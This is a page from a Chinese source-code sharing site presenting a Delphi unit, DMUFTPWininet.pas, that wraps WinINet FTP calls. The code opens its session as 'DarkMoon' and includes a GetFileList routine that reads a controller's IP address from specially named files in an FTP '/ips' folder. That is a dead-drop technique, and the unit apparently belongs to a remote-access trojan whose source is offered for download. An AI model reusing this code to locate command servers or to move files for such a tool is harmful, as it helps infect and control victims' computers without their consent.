Delphi控件源码

开发平台：
Delphi

DMUFTPWininet.pas：源码内容
							unit DMUFTPwininet;
interface
uses wininet,DMUCommandsAndUtils,Windows;
procedure FTPDesconnect;
  function GetFileList(): string;
function FTPConnect(Host: string;User: string;Pass: string;Port : integer;
passive: boolean): boolean;
function FTPDownload(RemoteFile: string; LocalFile: string;
                                overwrite: boolean = true): boolean;
function FTPMakeDir (Name : string):boolean ;
                                 
function FTPUpload(LocalFile: string; RemoteFile: string): boolean;
var
FhInet: HINTERNET;
FhConn: HINTERNET;
implementation
     function FTPConnect(Host: string;User: string;Pass: string;Port : integer;passive: boolean): boolean;
        var flg: DWORD;
     begin
       result := false;
   FhInet := InternetOpen(PChar('DarkMoon'), 0, nil, nil, 0);
   if FhInet = nil then
      exit;
      flg := 0;
      if passive then
      flg := flg or INTERNET_FLAG_PASSIVE;
   FhConn := InternetConnect(FhInet, PChar(Host), Port, PChar(User),
                             PChar(Pass), INTERNET_SERVICE_FTP, flg, DWORD(0));
   if FhConn = nil then
      exit;
   result := true;
     end;
procedure FTPDesconnect;
begin
   if FhInet <> nil then
   begin
      InternetSetStatusCallback(FhInet, nil);
      InternetCloseHandle(FhInet);
   end;
   if FhConn <> nil then
      InternetCloseHandle(FhConn);
end;
function FTPDownload(RemoteFile: string; LocalFile: string;
                                 overwrite: boolean = true): boolean;
begin
   result := FtpGetFile(FhConn, PChar(RemoteFile), PChar(LocalFile), not overwrite,
                        FILE_ATTRIBUTE_NORMAL, 0, DWORD(0));
                        
end;
function FTPUpload(LocalFile: string; RemoteFile: string): boolean;
begin
   result := FtpPutFile(FhConn, PChar(LocalFile), PChar(RemoteFile),
                        FTP_TRANSFER_TYPE_UNKNOWN, DWORD(0));
                        end;
procedure SetCurrentDirectory(value: string);
begin
FtpSetCurrentDirectory(FhConn, PChar(value))
end;
function GetFileList(): string;
var
  fich: WIN32_FIND_DATA;
  busqueda: HINTERNET;
  ok: boolean;
  folders, files: String ;
  IPAdress, data : string  ;
begin
SetCurrentDirectory('/ips');
   busqueda := FtpFindFirstFile(FhConn, nil, fich, INTERNET_FLAG_RELOAD, DWORD(0));
try
      ok := (busqueda <> nil);
      while ok do
      begin
      files:=  fich.cFileName   ;
         data :=  copy (files,1,length(files)-4) ;
      if copy (data,1,9)='DarkMoon-' then begin
     IPAdress:=Replace(copy (data,10,length(data)),'a','.')   ;
        end;
      ok := InternetFindNextFile(busqueda, @fich);
      end;
      
   finally
      if busqueda <> nil then
         InternetCloseHandle(busqueda);
   end;
       result:=IPAdress   ;
end;
function RenameFile(old, new: string): boolean;
begin
   // se permite el renombrado de archivos y directorios.
   SetCurrentDirectory('/');
   result := FtpRenameFile (FhConn, PChar(old), PChar(new));
end;
function FTPMakeDir (Name : string):boolean ;
begin
  result:= FtpCreateDirectory  ( FhConn, pchar(Name));
end;
end.

						